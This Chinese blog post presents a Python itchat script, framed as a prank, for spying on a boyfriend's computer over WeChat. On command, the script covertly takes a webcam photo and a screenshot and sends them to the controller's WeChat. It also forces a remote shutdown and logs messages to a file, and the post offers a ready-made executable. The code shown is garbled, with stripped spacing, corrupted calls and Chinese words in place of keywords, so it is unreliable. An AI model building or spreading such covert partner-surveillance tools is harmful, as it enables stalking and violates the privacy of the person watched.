当前位置: 首页 > 后端技术 > Python

微信远程监控男朋友在上网

时间:2023-03-25 23:08:53 Python

今天给大家介绍一个实用又恶搞的python程序。兴趣是最好的老师。我之所以写python,很大一部分原因是因为python可以写出很多有趣好玩的东西。我们先看看这个程序能达到什么样的效果。这个程序目前主要有两个功能,一个是用相机拍照和对电脑屏幕截图。回复数字1控制电脑开启相机,自动为电脑用户拍照。同时,它可以自动截取当前电脑屏幕,并将两张图片发送到你的微信上,这样你就可以看到你的电脑用户(可以是你的男朋友)在做什么。另一个实用功能是关闭计算机。回复数字2强制计算机立即关闭。您应谨慎使用此功能。您可以在特定的使用场景下自由使用,但本程序不对由此造成的任何不良后果负责。特此声明。不知道你们有没有觉得很神奇。对我来说,这就是python的魅力所在。下面简单说一下这个python程序的实现原理。本程序主要使用了一个python第三方库itchat。itchat是一个关于微信操作的库。许多微信机器人都使用类似的库。itchat可以把微信用户的输入传递给这个python程序,然后这个python程序收到微信用户信息后,在我们的电脑上执行相应的命令。这就是这个python程序的实现过程。其实这个程序的代码也很简单。以下是这个python程序的源代码。当然,为了让大家快速体验这个python程序,我特地把python程序打包成了可以直接运行的程序。大家在公众号后台回复002下载程序。下载到电脑后,双击运行。运行后会弹出一个微信登录二维码。可以扫码登录,登录成功后可以微信控制电脑。importitchatimportosimporttimeimportcv2fromPILimportImageGrabsendMsg=u"{消息助手}:暂时无法回复"usageMsg=u"使用方法:\n回复1自动为电脑用户截屏并拍照,并发送照片到微信。\n"\u"回复2电脑关机\n"flag=0#消息助手切换nowTime=time.localtime()filename=str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"myfile=open(filename,'w')@itchat.msg_register('Text')deftext_reply(msg):globalflagmessage=msg['Text']fromName=msg['FromUserName']toName=msg['ToUserName']iftoName=="filehelper":ifmessage=="1":cap=cv2.VideoCapture(0)imret,img=capv2".read()weixinTemp.jpg",img)itchat.send('@img@%s'%u'weixinTemp.jpg','filehelper')cap.release()#电脑截图avescreen=ImageGrab.grab()'./screenShot.png','png')itchat.send('@img@%s'%u'screenShot.png','filehelper')如果消息=="2":os.system('shutdown-s-t0')elif标志==1:itchat.send(sendMsg,fromName)myfile.write(message)myfile.write("\n")myfile.flush()if__name__=='__main__':itchat.auto_login()itchat.send(usageMsg,"filehelper")itchat.run()可以在后台回复【002】下载直接执行程序,程序名为wechatControl.exe